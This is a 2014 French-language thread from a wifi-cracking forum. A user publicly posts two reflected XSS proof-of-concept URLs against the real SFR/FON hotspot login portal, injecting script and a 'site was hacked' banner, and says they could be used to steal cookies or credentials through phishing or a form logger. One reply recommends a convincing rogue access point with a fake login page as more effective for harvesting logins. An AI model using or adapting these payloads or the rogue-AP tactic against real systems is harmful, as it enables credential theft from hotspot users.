Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 01-07-2014 21:55:30

androgyn3
N00b
Inscription : 27-08-2009
Messages : 1

0day XSS https://hotspot.wifi.sfr.fr

Salut,

J'ai trouvé quelques XSS sur le portail de connexion hot spot wifi SFR/FON https://hotspot.wifi.sfr.fr

Ceux ci pourraient être exploités de facon malveillante dans le but de voler les cookies ou les identifiants  SFR/FON (phishing/form logger)

Proof of concept :

https://hotspot.wifi.sfr.fr/indexEncryptingChilli.php?challenge=&mac=&mode=&res=smartclient&uamip=&uamport=1%27%22%3CScRiPt%20%3Ealert%28String.fromCharCode%2883,%2070,%2082,%2032,%2088,%2083,%2083,%2032,%2098,%20121,%2032,%2065,%20110,%20100,%20114,%20111,%20103,%20121,%20110,%2051%29%29%3C/ScRiPt%3E%3Ch1%3ETHIS%20SITE%20WAS%20HACKED%3C/h1%3E&userurl=
https://hotspot.wifi.sfr.fr/indexEncryptingChilli.php?challenge=&mac=&mode=&res=smartclient&uamip=1%27%22%3CScRiPt%20%3Ealert%28String.fromCharCode%2883,%2070,%2082,%2032,%2088,%2083,%2083,%2032,%2098,%20121,%2032,%2065,%20110,%20100,%20114,%20111,%20103,%20121,%20110,%2051%29%29%3C/ScRiPt%3E%3Ch1%3ETHIS%20SITE%20WAS%20HACKED%3C/h1%3E&uamport=&userurl=

Screenshoot :

XSS SFR Androgyn3

A3

Dernière modification par androgyn3 (01-07-2014 21:58:40)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 01-07-2014 22:03:26

Furyo
Membre Irremplaçable
Inscription : 25-11-2010
Messages : 1 397
Site Web

Re : 0day XSS https://hotspot.wifi.sfr.fr

et moi c'est henri wink


Rogue AP bien faite (avec une page de connexion bien faite), donne bien plus de resultats...

M'enfin, je dis ca je dis rien...


Je prendrai le temps de répondre aux gens qui auront pris le temps de se présenter..
Les membres suspectés d'intentions douteuses ne trouveront que mon silence en réponse.
Morpheus à Néo : On n'est pas le meilleur quand on le croit, mais quand on le sait..
387003.jpg

Hors Ligne

#3 04-07-2014 19:43:45

flatounet
Membre d'Or
Inscription : 05-03-2010
Messages : 306

Re : 0day XSS https://hotspot.wifi.sfr.fr

ouep ,m’en-fin faut etre "con" pour se connecté sur un site .....

tu te connecte à un ap , et la tu te logg

là c'est avec un accès internet ou tu accede à cette page ...
il faut vraiment être tête en l'air pour se logg la dedans ...


ce qui me fait franchement peur c'est les AP avec raspberry pi.
moi qui me connecte un peu partout ....mais bon (avec identifiant sim ( mobile) )

Dernière modification par flatounet (04-07-2014 19:46:35)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
2 137 21-04-2017 14:44:07 par kcdtv
2 644 12-04-2017 21:28:10 par Fab955
21 684 15-03-2017 19:39:42 par Fab955
Problème Hotspot par ferfer
5 255 11-03-2017 14:00:01 par flatounet
Épinglée :
313 463629 08-03-2017 11:47:35 par M1ck3y

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.025 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]